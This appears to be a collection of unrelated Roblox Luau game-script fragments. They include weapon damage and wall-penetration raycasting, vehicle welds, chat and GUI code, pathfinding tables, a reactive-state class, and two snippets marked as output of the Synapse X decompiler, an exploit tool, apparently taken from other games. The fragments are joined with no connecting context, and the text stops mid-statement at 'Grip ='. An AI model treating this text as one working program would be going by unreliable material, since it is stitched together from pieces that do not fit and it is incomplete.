Rocket.Touched:Connect(function(TouchPart) if not Exploded and not IGNORE_LIST[string.lower(TouchPart.Name)] and (not TouchPart:IsDescendantOf(FiredCharacter) or GetReflectedByPlayer()) then Explode((Rocket.CFrame * CFrame.new(0,0,-Rocket.Size.Z/2)).p) end end) ExplodeEvent.OnServerEvent:Connect(function(Player,Position) local PositionDelta = (Rocket.Position - Position).magnitude if PositionDelta < 50 or PositionDelta > 5000 then Explode(Position) end end)
--Weld stuff here
MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Hood.Parts,misc.Hood.Hinge) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
-- Function to handle the skip action
local function SkipLoadingScreen() -- Calculate the end position for the animation local startPos = frame.Position local endPos = UDim2.new(startPos.X.Scale, startPos.X.Offset, startPos.Y.Scale - 2, startPos.Y.Offset) -- Animate the position of the frame local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(FadeTime, Enum.EasingStyle.Linear) local tween = tweenService:Create(frame, tweenInfo, { Position = endPos }) -- Play the animation tween:Play() -- Hide the frame when the animation completes tween.Completed:Connect(function() frame.Visible = false end) end
--///////////////////////// Constructors --//////////////////////////////////////
function module.new(CommandProcessor, ChatWindow) local obj = setmetatable({}, methods) obj.GuiObject = nil obj.ChatBarParentFrame = nil obj.TextBox = nil obj.TextLabel = nil obj.GuiObjects = {} obj.eGuiObjectsChanged = Instance.new("BindableEvent") obj.GuiObjectsChanged = obj.eGuiObjectsChanged.Event obj.TextBoxConnections = {} obj.PreviousText = "" obj.InCustomState = false obj.CustomState = nil obj.TargetChannel = nil obj.CommandProcessor = CommandProcessor obj.ChatWindow = ChatWindow obj.TweenPixelsPerSecond = 500 obj.TargetYSize = 0 obj.AnimParams = {} obj.CalculatingSizeLock = false obj.ChannelNameColors = {} obj.UserHasChatOff = false obj:InitializeAnimParams() ChatSettings.SettingsChanged:connect(function(setting, value) if (setting == "ChatBarTextSize") then obj:SetTextSize(value) end end) coroutine.wrap(function() local success, canLocalUserChat = pcall(function() return Chat:CanUserChatAsync(LocalPlayer.UserId) end) local canChat = success and (RunService:IsStudio() or canLocalUserChat) if canChat == false then obj.UserHasChatOff = true obj:DoLockChatBar() end end)() return obj end return module
--------------------[ HIT HANDLING FUNCTIONS ]----------------------------------------
function getBaseDamage(Dist) local startDmg = S.damageSettings.Start.Damage local startDist = S.damageSettings.Start.Dist local endDmg = S.damageSettings.End.Damage local endDist = S.damageSettings.End.Dist return ( ( Dist < startDist * S.bulletSettings.Range ) and startDmg or ( Dist >= startDist * S.bulletSettings.Range and Dist < endDist * S.bulletSettings.Range ) and numLerp(startDmg, endDmg, Map(Dist / S.bulletSettings.Range, startDist, endDist, 0, 1)) or ( Dist >= endDist * S.bulletSettings.Range ) and endDmg ) end function Damage(H, P, N, D, Dist, customIgnore) local hVal = S.damageSettings.Multipliers.Head local cVal = S.damageSettings.Multipliers.Chest local lVal = S.damageSettings.Multipliers.Limbs local baseDamage = getBaseDamage(Dist) if Humanoid.Health ~= 0 then local hitHumanoid = nil if H.Parent:IsA("Hat") then table.insert(customIgnore, H) local newRay = Ray.new(P - D * 0.1, D * (S.bulletSettings.Range - Dist + 0.1)) local newH, newP, newN = workspace:FindPartOnRayWithIgnoreList(newRay, customIgnore) if newH then hitHumanoid = Damage(newH, newP, newN, D, Dist + (newP - P).magnitude, customIgnore) end else hitHumanoid = findFirstClass(H.Parent, "Humanoid") if hitHumanoid and hitHumanoid.Health > 0 and isEnemy(hitHumanoid) then local Tag = Instance.new("ObjectValue") Tag.Value = Player Tag.Name = "creator" Tag.Parent = hitHumanoid DS:AddItem(Tag, 0.3) local chosenDamage = 0 if H.Name == "Head" then chosenDamage = baseDamage * RAND(hVal, hVal + 0.1, 0.01) elseif H.Name == "Torso" then chosenDamage = baseDamage * RAND(cVal, cVal + 0.1, 0.01) else chosenDamage = baseDamage * RAND(lVal, lVal + 0.1, 0.01) end hitHumanoid:TakeDamage(chosenDamage) markHit() end end return hitHumanoid end end function isWallIgnored(Wall) return ( Wall.Transparency >= S.penetrationSettings.transparencyThreshold or (S.penetrationSettings.ignoreNonCanCollide and (not Wall.CanCollide)) or isIgnored(Wall, S.penetrationSettings.ignoreCustom) ) end function penetrateWall(Wall, hitPos, Direction, Normal, Ignore, totalPDist, totalBDist, lastDamagedHumanoid) local wallIgnore = isWallIgnored(Wall) local hitHumanoid = (Wall.Parent:IsA("Hat") and findFirstClass(Wall.Parent.Parent, "Humanoid") or findFirstClass(Wall.Parent, "Humanoid")) local damagedHumanoid = nil if hitHumanoid and hitHumanoid ~= lastDamagedHumanoid then lastDamagedHumanoid = hitHumanoid damagedHumanoid = Damage(Wall, hitPos, Normal, Direction, totalBDist, {Char, ignoreModel}) else lastDamagedHumanoid = nil end local ignoreObject = hitHumanoid and (Wall.Parent:IsA("Hat") and Wall.Parent.Parent or Wall.Parent) or Wall table.insert(Ignore, ignoreObject) local rayLength = S.bulletSettings.Range - totalBDist local testRay = Ray.new(hitPos, Direction * (S.bulletSettings.Range - totalBDist)) local H1, P1, N1 = workspace:FindPartOnRayWithIgnoreList(testRay, Ignore) local newIgnore = removeElement(Ignore, ignoreObject) local wallRay = Ray.new(P1 + Direction * 0.1, -Direction * (rayLength + 1)) local H2, P2, N2 = workspace:FindPartOnRayWithIgnoreList(wallRay, Ignore) local newPDist = totalPDist + (wallIgnore and 0 or (getNearestPoint(P1, P2, hitPos) - hitPos).magnitude) local newBDist = totalBDist + (P1 - hitPos).magnitude local outOfRange = Round(newPDist, 0.001) > S.penetrationSettings.Dist or Round(newBDist, 0.001) > S.bulletSettings.Range if (not wallIgnore) then createBulletImpact:FireServer(Wall, hitPos, Normal, Direction, hitHumanoid, gunIgnore, S) if (not hitHumanoid) then createShockwave:FireServer(hitPos, S.shockwaveSettings.Radius, gunIgnore, S) end end if hitHumanoid and hitHumanoid.Health > 0 and isEnemy(hitHumanoid) and hitHumanoid == damagedHumanoid then createBlood:FireServer(Wall, P2, Direction, gunIgnore, S) end if outOfRange or (not H1) then if (not outOfRange) and (not wallIgnore) then createBulletImpact:FireServer(Wall, P2, N2, Direction, hitHumanoid, gunIgnore, S) if (not hitHumanoid) then createShockwave:FireServer(P2, S.shockwaveSettings.Radius, gunIgnore, S) end end return Wall, hitPos else if Wall == H2 and (not wallIgnore) then createBulletImpact:FireServer(Wall, P2, N2, Direction, hitHumanoid, gunIgnore, S) if (not hitHumanoid) then createShockwave:FireServer(P2, S.shockwaveSettings.Radius, gunIgnore, S) end end return penetrateWall(H1, P1, Direction, N1, Ignore, newPDist, newBDist, lastDamagedHumanoid) end end function PenetrateWall(HitPos, Direction, HitHumanoid, OriginPos, Bullet, CurrentPDist) local HitDist = (HitPos - OriginPos).magnitude local Wall, WallHitPos = nil, nil local Hum, HumHitPos = nil, nil local CustomIgnore = {unpack(Ignore)} for i = 1, 10 do local WallRay = Ray.new(HitPos - (Direction * 0.1), Direction * S.Penetration) local H, P = game.Workspace:FindPartOnRayWithIgnoreList(WallRay, CustomIgnore) if H then local HitHumanoid = nil if H.Parent.ClassName == "Hat" then HitHumanoid = findFirstClass(H.Parent.Parent, "Humanoid") else HitHumanoid = findFirstClass(H.Parent, "Humanoid") end if HitHumanoid and i ~= 1 then Hum, HumHitPos = H, P break else Wall, WallHitPos = H, P table.insert(CustomIgnore, H) end else break end end if Wall then if S.InstantHit then if Hum then Damage(Hum.Parent:FindFirstChild("Head"), HumHitPos) return HumHitPos else local HitObj2, HitPos2 = nil, nil if HitHumanoid then HitObj2, HitPos2 = AdvRayCast(WallHitPos, Direction, S.BulletRange - HitDist, {Wall, HitHumanoid.Parent, unpack(Ignore)}) else HitObj2, HitPos2 = AdvRayCast(WallHitPos, Direction, S.BulletRange - HitDist, {Wall, unpack(Ignore)}) end Damage(HitObj2, HitPos2) local NewPDist = CurrentPDist + (WallHitPos - HitPos).magnitude local NewHitPos2 = HitPos2 if NewPDist < S.Penetration and HitObj2 then NewHitPos2 = PenetrateWall(HitPos2, Direction, HitHumanoid, OriginPos, Bullet, CurrentPDist + NewPDist) end return NewHitPos2 end else local LastPos = WallHitPos local TotalDistTraveled = 0 spawn(function() if Hum then Damage(Hum.Parent:FindFirstChild("Head"), HumHitPos) return HumHitPos else while true do RS.RenderStepped:wait() if TotalDistTraveled >= S.BulletRange - HitDist then Bullet:Destroy() break end local DistTraveled = (Bullet.Position - LastPos).magnitude local NewDirection = (Bullet.Position - LastPos).unit local TempHitObj, TempHitPos = nil, nil if HitHumanoid then TempHitObj, TempHitPos = AdvRayCast(LastPos, NewDirection, DistTraveled, {Wall, HitHumanoid.Parent, unpack(Ignore)}) else TempHitObj, TempHitPos = AdvRayCast(LastPos, NewDirection, DistTraveled, {Wall, unpack(Ignore)}) end if TempHitObj then Damage(TempHitObj, TempHitPos) local NewPDist = CurrentPDist + (WallHitPos - HitPos).magnitude local NewTempPos = TempHitPos if NewPDist < S.Penetration and TempHitObj then NewTempPos = PenetrateWall(TempHitPos, Direction, HitHumanoid, OriginPos, Bullet, CurrentPDist + NewPDist) else Bullet:Destroy() end return NewTempPos else LastPos = Bullet.Position TotalDistTraveled = TotalDistTraveled + DistTraveled end end end end) end else if Bullet then Bullet:Destroy() end return HitPos end end function isEnemy(Human) local Plyr = game.Players:GetPlayerFromCharacter(Human.Parent) if (not Plyr) then return S.CanDamageNPCs end return S.AllowFriendlyFire or (Plyr.TeamColor ~= Player.TeamColor or Plyr.Neutral) end
--------| Library |--------
local _L; coroutine.wrap(function() _L = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")) end)()
--
if(vParts.Values.On.Value== false) then PS.EngineOff:TweenPosition(UDim2.new(1.70000005, 100, -1, 0),"Out","Quad",1,true) elseif(vParts.Values.On.Value == true) then PS.EngineOff:TweenPosition(UDim2.new(1.70000005, 100, -2, 0),"Out","Quad",1,true) end
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{30,56,58},t}, [49]={{30,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{30,56,58,20,19},t}, [59]={{30,41,59},t}, [63]={{30,56,58,23,62,63},t}, [34]={{30,41,39,35,34},t}, [21]={{30,56,58,20,21},t}, [48]={{30,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{30,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{30,41,39,35,34,32,31},t}, [56]={{30,56},t}, [29]={{30,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{30,41,39,35,34,32,31,29,28,44,45},t}, [57]={{30,56,57},t}, [36]={{30,41,39,35,37,36},t}, [25]={{30,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{30,41,59,61,71},t}, [20]={{30,56,58,20},t}, [60]={{30,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{30,41,59,61,71,72,76,73,75},t}, [22]={{30,56,58,20,21,22},t}, [74]={{30,41,59,61,71,72,76,73,74},t}, [62]={{30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{30,41,39,35,37},t}, [2]={n,f}, [35]={{30,41,39,35},t}, [53]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{30,41,59,61,71,72,76,73},t}, [72]={{30,41,59,61,71,72},t}, [33]={{30,41,39,35,37,36,33},t}, [69]={{30,41,60,69},t}, [65]={{30,56,58,20,19,66,64,65},t}, [26]={{30,41,39,35,34,32,31,29,28,27,26},t}, [68]={{30,56,58,20,19,66,64,67,68},t}, [76]={{30,41,59,61,71,72,76},t}, [50]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{30,56,58,20,19,66},t}, [10]={n,f}, [24]={{30,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{30,56,58,23},t}, [44]={{30,41,39,35,34,32,31,29,28,44},t}, [39]={{30,41,39},t}, [32]={{30,41,39,35,34,32},t}, [3]={n,f}, [30]={{30},t}, [51]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{30,56,58,20,19,66,64,67},t}, [61]={{30,41,59,61},t}, [55]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{30,41,39,40,38,42},t}, [40]={{30,41,39,40},t}, [52]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{30,41},t}, [17]={n,f}, [38]={{30,41,39,40,38},t}, [28]={{30,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{30,56,58,20,19,66,64},t}, } return r
--Creates a display Gui for the soft shutdown.
return function() local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SoftShutdownGui" ScreenGui.DisplayOrder = 100 --Create background to cover behind top bar. local Frame = Instance.new("Frame") Frame.BackgroundColor3 = Color3.fromRGB(66, 66, 67) Frame.Position = UDim2.new(-0.5,0,-0.5,0) Frame.Size = UDim2.new(2,0,2,0) Frame.ZIndex = 10 Frame.Parent = ScreenGui local function CreateTextLabel(Size,Position,Text) local TextLabel = Instance.new("TextLabel") TextLabel.BackgroundTransparency = 1 TextLabel.Size = Size TextLabel.Position = Position TextLabel.Text = Text TextLabel.ZIndex = 10 TextLabel.Font = "Code" TextLabel.TextScaled = true TextLabel.TextColor3 = Color3.new(1,1,1) TextLabel.TextStrokeColor3 = Color3.new(0,0,0) TextLabel.TextStrokeTransparency = 0 TextLabel.Parent = Frame end --Create text. CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"Hey,") CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"Servers are being updated") CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait") --Return the ScreenGui and the background. return ScreenGui,Frame end
--1 = white --208 = Light stone grey --194 = Medium stone grey --199 = Dark stone grey --26 = Black --21 = Bright red --24 = Bright yellow --226 = Cool yellow --23 = Bright blue --107 = Bright bluish green --102 = Medium blue --11 = Pastel blue --45 = Light blue --135 = Sand blue --106 = Bright orange --105 = Br. yellowish orange --141 = Earth green --28 = Dark green --37 = Bright green --119 = Br. yellowish green --29 = Medium green --151 = Sand green --38 = Dark orange --192 = Reddish brown --104 = Bright violet --9 = Light reddish violet --101 = Medium red --5 = Brick Yellow --153 = Sand red --217 = Brown --18 = Nougat --125 = Light orange
-- Tell the ActiveCast factory module what FastCast actually *is*.
ActiveCastStatic.SetStaticFastCastReference(FastCast)
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp Yellow = script.Parent.Yellow.Lamp Green = script.Parent.Green.Lamp DRed = script.Parent.Red.DynamicLight DYellow = script.Parent.Yellow.DynamicLight DGreen = script.Parent.Green.DynamicLight function Active() if Signal.Value == 0 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = false elseif Signal.Value == 1 then Green.Enabled = true Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = true DYellow.Enabled = false DRed.Enabled = false elseif Signal.Value == 2 then Green.Enabled = false Yellow.Enabled = true Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = true DRed.Enabled = false elseif Signal.Value == 3 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = true DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = true end end Signal.Changed:connect(Active)
-- Decompiled with the Synapse X Luau decompiler.
local l__Parent__1 = script.Parent; local v2 = TweenInfo.new(2); local v3 = game:GetService("TweenService"):Create(l__Parent__1, v2, { Rotation = 20 }); local v4 = game:GetService("TweenService"):Create(l__Parent__1, v2, { Rotation = -15 }); v3:Play(); v3.Completed:Connect(function() v4:Play(); end); v4.Completed:Connect(function() v3:Play(); end);
-- Libraries
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
--!strict -- upstream: https://github.com/facebook/react/blob/376d5c1b5aa17724c5fea9412f8fcde14a7b23f1/packages/react/src/ReactCurrentDispatcher.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
--[[ Called when the original table is changed. This will firstly find any keys meeting any of the following criteria: - they were not previously present - their associated value has changed - a dependency used during generation of this value has changed It will recalculate those key/value pairs, storing information about any dependencies used in the processor callback during value generation, and save the new key/value pair to the output array. If it is overwriting an older key/value pair, that older pair will be passed to the destructor for cleanup. Finally, this function will find keys that are no longer present, and remove their key/value pairs from the output table and pass them to the destructor. ]]
function class:update(): boolean local inputIsState = self._inputIsState local newInputTable = if inputIsState then self._inputTable:get(false) else self._inputTable local oldInputTable = self._oldInputTable local keyIOMap = self._keyIOMap local meta = self._meta local didChange = false -- clean out main dependency set for dependency in self.dependencySet do dependency.dependentSet[self] = nil end self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet table.clear(self.dependencySet) -- if the input table is a state object, add it as a dependency if inputIsState then self._inputTable.dependentSet[self] = true self.dependencySet[self._inputTable] = true end -- clean out output table self._oldOutputTable, self._outputTable = self._outputTable, self._oldOutputTable local oldOutputTable = self._oldOutputTable local newOutputTable = self._outputTable table.clear(newOutputTable) -- Step 1: find key/value pairs that changed or were not previously present for newInKey, newInValue in pairs(newInputTable) do -- get or create key data local keyData = self._keyData[newInKey] if keyData == nil then keyData = { dependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE), oldDependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE), dependencyValues = setmetatable({}, utility.WEAK_KEYS_METATABLE), } self._keyData[newInKey] = keyData end -- check if the pair is new or changed local shouldRecalculate = oldInputTable[newInKey] ~= newInValue -- check if the pair's dependencies have changed if shouldRecalculate == false then for dependency, oldValue in pairs(keyData.dependencyValues) do if oldValue ~= dependency:get(false) then shouldRecalculate = true break end end end -- recalculate the output pair if necessary if shouldRecalculate then keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet table.clear(keyData.dependencySet) local processOK, newOutKey, newOutValue, newMetaValue = Dependencies.captureDependencies( keyData.dependencySet, self._processor, newInKey, newInValue ) if processOK then if self._destructor == nil and (utility.needsDestruction(newOutKey) or utility.needsDestruction(newOutValue) or utility.needsDestruction(newMetaValue)) then warn("destructorNeededForPairs") end -- if this key was already written to on this run-through, throw a fatal error. if newOutputTable[newOutKey] ~= nil then -- figure out which key/value pair previously wrote to this key local previousNewKey, previousNewValue for inKey, outKey in pairs(keyIOMap) do if outKey == newOutKey then previousNewValue = newInputTable[inKey] if previousNewValue ~= nil then previousNewKey = inKey break end end end if previousNewKey ~= nil then utility.parseError( "forPairsKeyCollision", -- nil, tostring(newOutKey), tostring(previousNewKey), tostring(previousNewValue), tostring(newInKey), tostring(newInValue) ) end end local oldOutValue = oldOutputTable[newOutKey] if oldOutValue ~= newOutValue then local oldMetaValue = meta[newOutKey] if oldOutValue ~= nil then local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, newOutKey, oldOutValue, oldMetaValue) if not destructOK then warn("forPairsDestructorError", err) end end oldOutputTable[newOutKey] = nil end -- update the stored data for this key/value pair oldInputTable[newInKey] = newInValue keyIOMap[newInKey] = newOutKey meta[newOutKey] = newMetaValue newOutputTable[newOutKey] = newOutValue -- if we had to recalculate the output, then we did change didChange = true else -- restore old dependencies, because the new dependencies may be corrupt keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet warn("forPairsProcessorError", newOutKey) end else local storedOutKey = keyIOMap[newInKey] -- check for key collision if newOutputTable[storedOutKey] ~= nil then -- figure out which key/value pair previously wrote to this key local previousNewKey, previousNewValue for inKey, outKey in pairs(keyIOMap) do if storedOutKey == outKey then previousNewValue = newInputTable[inKey] if previousNewValue ~= nil then previousNewKey = inKey break end end end if previousNewKey ~= nil then utility.parseError( "forPairsKeyCollision", -- nil, tostring(storedOutKey), tostring(previousNewKey), tostring(previousNewValue), tostring(newInKey), tostring(newInValue) ) end end -- copy the stored key/value pair into the new output table newOutputTable[storedOutKey] = oldOutputTable[storedOutKey] end -- save dependency values and add to main dependency set for dependency in pairs(keyData.dependencySet) do keyData.dependencyValues[dependency] = dependency:get(false) self.dependencySet[dependency] = true dependency.dependentSet[self] = true end end -- STEP 2: find keys that were removed for oldOutKey, oldOutValue in pairs(oldOutputTable) do -- check if this key/value pair is in the new output table if newOutputTable[oldOutKey] ~= oldOutValue then -- clean up the old output pair local oldMetaValue = meta[oldOutKey] if oldOutValue ~= nil then local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, oldOutKey, oldOutValue, oldMetaValue) if not destructOK then warn("forPairsDestructorError", err) end end -- check if the key was completely removed from the output table if newOutputTable[oldOutKey] == nil then meta[oldOutKey] = nil self._keyData[oldOutKey] = nil end didChange = true end end for key in pairs(oldInputTable) do if newInputTable[key] == nil then oldInputTable[key] = nil keyIOMap[key] = nil end end return didChange end local function ForPairs<KI, VI, KO, VO, M>( inputTable, processor: (KI, VI) -> (KO, VO, M?), destructor: (KO, VO, M?) -> ()? ) local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function" local self = setmetatable({ type = "State", kind = "ForPairs", dependencySet = {}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, utility.WEAK_KEYS_METATABLE), _oldDependencySet = {}, _processor = processor, _destructor = destructor, _inputIsState = inputIsState, _inputTable = inputTable, _oldInputTable = {}, _outputTable = {}, _oldOutputTable = {}, _keyIOMap = {}, _keyData = {}, _meta = {}, }, CLASS_METATABLE) self:update() return self end return ForPairs
--okay, for some dumb reason we made duplicate purchasing functions... go to ItemBuyScript
game.ServerStorage.RemoteFunctions.GetObjectFromID.OnInvoke = function(id) for _,v in pairs(game.ReplicatedStorage.Objects:GetChildren()) do if v.ItemID.Value == id then return v end end end game.ServerStorage.RemoteFunctions.ChangeCash.Event:connect(function(plr,amt) local data = game.ReplicatedStorage.PlayerData:FindFirstChild(plr.userId) if data then data.cash.Value = data.cash.Value + amt end end)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; local u1 = {}; local u2 = {}; local u3 = Random.new(); local u4 = nil; function Shuffle() local v2 = v1.Functions.CloneTable(u1); for v3, v4 in ipairs(u2) do if v3 then else break; end; for v6, v7 in ipairs(v2) do if v6 then else break; end; if v7 == v4 then table.remove(v2, v6); break; end; end; end; local v9 = v2[u3:NextInteger(1, #v2)]; if not v9 then return; end; u4 = v1.Sound.PlayMusic(v9, 0.5, 4, nil, false); if 4 <= #u2 then table.remove(u2, 1); end; table.insert(u2, v9); end; function Clear() v1.Sound.StopMusic(1); u4 = nil; u2 = {}; end; local u5 = nil; function Set(p1) local v10 = v1.Directory.Worlds[p1]; u1 = v10.music; Clear(); if u5 then v1.Functions.Tween(u5, { 2 }, { Volume = 0 }).Completed:Connect(function() u5:Stop(); u5:Destroy(); end); end; local l__ambience__11 = v10.ambience; if l__ambience__11 then if l__ambience__11 ~= 0 then u5 = v1.Sound.Play(l__ambience__11, script, 1, 0.3, nil, nil, true); end; end; end; v1.Signal.Fired("World Changed"):Connect(function(p2) Set(p2); end); task.defer(function() while true do if v1.Settings.MusicEnabled and #u1 > 0 then if not u4 or u4.TimeLength - 0.5 <= u4.TimePosition and u4.IsLoaded then Shuffle(); end; elseif not v1.Settings.MusicEnabled and u4 then Clear(); end; v1.Heartbeat(5); end; end);
-------------------------------------------------------------------------------------- --------------------[ TOOL SELECTION AND DESELECTION ]-------------------------------- --------------------------------------------------------------------------------------
function OnEquipped(M_Icon) wait(math.random(10, 40) / 100) if Humanoid.Health ~= 0 and (not Selected) and Gun.Parent == Character then Selected = true BreakReload = false --------------------[ FAILSAFE RESETING ]------------------------------------- for _, GM in pairs(Ignore_Model:GetChildren()) do if GM.Name == "Gun_Ignore_"..Player.Name then GM:Destroy() end end for _,c in pairs(Connections) do c:disconnect() end Connections = {} --------------------[ CREATING IGNORE MODELS ]-------------------------------- Gun_Ignore = Instance.new("Model") Gun_Ignore.Name = "Gun_Ignore_"..Player.Name Gun_Ignore.Parent = Ignore_Model --------------------[ MODIFYING THE PLAYER ]---------------------------------- M_Icon.Icon = "rbxasset://textures\\Blank.png" Gui_Clone = Main_Gui:Clone() Gui_Clone.Parent = Player.PlayerGui SetUpGui() Shoulders.Right.Part1 = nil Shoulders.Left.Part1 = nil PrevNeckCF.C0 = Neck.C0 PrevNeckCF.C1 = Neck.C1 BG = Instance.new("BodyGyro", HRP) BG.maxTorque = VEC3(HUGE, HUGE, HUGE) BG.Name = "BG" BG.P = 1e5 BG.cframe = CF(Torso.CFrame.p, Torso.CFrame.p + Torso.CFrame.lookVector) local PlayerFolder = Instance.new("Model") PlayerFolder.Name = "PlayerFolder" PlayerFolder.Parent = Gun_Ignore local AnimBase = Instance.new("Part") AnimBase.Transparency = 1 AnimBase.Name = "AnimBase" AnimBase.CanCollide = false AnimBase.FormFactor = Enum.FormFactor.Custom AnimBase.Size = VEC3(0.2, 0.2, 0.2) AnimBase.BottomSurface = Enum.SurfaceType.Smooth AnimBase.TopSurface = Enum.SurfaceType.Smooth AnimBase.Parent = PlayerFolder AnimWeld = Instance.new("Weld") AnimWeld.Part0 = AnimBase AnimWeld.Part1 = Head AnimWeld.C0 = CF(0, 1, 0) AnimWeld.Parent = AnimBase local ArmBase = Instance.new("Part") ArmBase.Transparency = 1 ArmBase.Name = "ArmBase" ArmBase.CanCollide = false ArmBase.FormFactor = Enum.FormFactor.Custom ArmBase.Size = VEC3(0.2, 0.2, 0.2) ArmBase.BottomSurface = Enum.SurfaceType.Smooth ArmBase.TopSurface = Enum.SurfaceType.Smooth ArmBase.Parent = PlayerFolder ABWeld = Instance.new("Weld") ABWeld.Part0 = ArmBase ABWeld.Part1 = AnimBase ABWeld.Parent = ArmBase local LArmBase = Instance.new("Part") LArmBase.Transparency = 1 LArmBase.Name = "LArmBase" LArmBase.CanCollide = false LArmBase.FormFactor = Enum.FormFactor.Custom LArmBase.Size = VEC3(0.2, 0.2, 0.2) LArmBase.BottomSurface = Enum.SurfaceType.Smooth LArmBase.TopSurface = Enum.SurfaceType.Smooth LArmBase.Parent = PlayerFolder local RArmBase = Instance.new("Part") RArmBase.Transparency = 1 RArmBase.Name = "RArmBase" RArmBase.CanCollide = false RArmBase.FormFactor = Enum.FormFactor.Custom RArmBase.Size = VEC3(0.2, 0.2, 0.2) RArmBase.BottomSurface = Enum.SurfaceType.Smooth RArmBase.TopSurface = Enum.SurfaceType.Smooth RArmBase.Parent = PlayerFolder LWeld = Instance.new("Weld") LWeld.Name = "LWeld" LWeld.Part0 = ArmBase LWeld.Part1 = LArmBase LWeld.C0 = ArmC0[1] LWeld.C1 = S.ArmC1_UnAimed.Left LWeld.Parent = ArmBase RWeld = Instance.new("Weld") RWeld.Name = "RWeld" RWeld.Part0 = ArmBase RWeld.Part1 = RArmBase RWeld.C0 = ArmC0[2] RWeld.C1 = S.ArmC1_UnAimed.Right RWeld.Parent = ArmBase LWeld2 = Instance.new("Weld") LWeld2.Name = "LWeld" LWeld2.Part0 = LArmBase LWeld2.Part1 = LArm LWeld2.Parent = LArmBase RWeld2 = Instance.new("Weld") RWeld2.Name = "RWeld" RWeld2.Part0 = RArmBase RWeld2.Part1 = RArm RWeld2.Parent = RArmBase if S.PlayerArms then FakeLArm = LArm:Clone() FakeLArm.Parent = PlayerFolder FakeLArm.Transparency = S.FakeArmTransparency FakeLArm:BreakJoints() LArm.Transparency = 1 local FakeLWeld = Instance.new("Weld") FakeLWeld.Part0 = FakeLArm FakeLWeld.Part1 = LArm FakeLWeld.Parent = FakeLArm FakeRArm = RArm:Clone() FakeRArm.Parent = PlayerFolder FakeRArm.Transparency = S.FakeArmTransparency FakeRArm:BreakJoints() RArm.Transparency = 1 local FakeRWeld = Instance.new("Weld") FakeRWeld.Part0 = FakeRArm FakeRWeld.Part1 = RArm FakeRWeld.Parent = FakeRArm Instance.new("Humanoid", PlayerFolder) for _,Obj in pairs(Character:GetChildren()) do if Obj:IsA("CharacterMesh") or Obj:IsA("Shirt") then Obj:Clone().Parent = PlayerFolder end end else local ArmTable = CreateArms() ArmTable[1].Model.Parent = PlayerFolder ArmTable[2].Model.Parent = PlayerFolder FakeLArm = ArmTable[1].ArmPart LArm.Transparency = 1 local FakeLWeld = Instance.new("Weld") FakeLWeld.Part0 = FakeLArm FakeLWeld.Part1 = LArm FakeLWeld.Parent = FakeLArm FakeRArm = ArmTable[2].ArmPart RArm.Transparency = 1 local FakeRWeld = Instance.new("Weld") FakeRWeld.Part0 = FakeRArm FakeRWeld.Part1 = RArm FakeRWeld.Parent = FakeRArm end --------------------[ MODIFYING THE GUN ]------------------------------------- for _, Tab in pairs(Parts) do local Weld = Instance.new("Weld") Weld.Name = "MainWeld" Weld.Part0 = Handle Weld.Part1 = Tab.Obj Weld.C0 = Tab.Obj.WeldCF.Value Weld.Parent = Handle Tab.Weld = Weld end Grip = 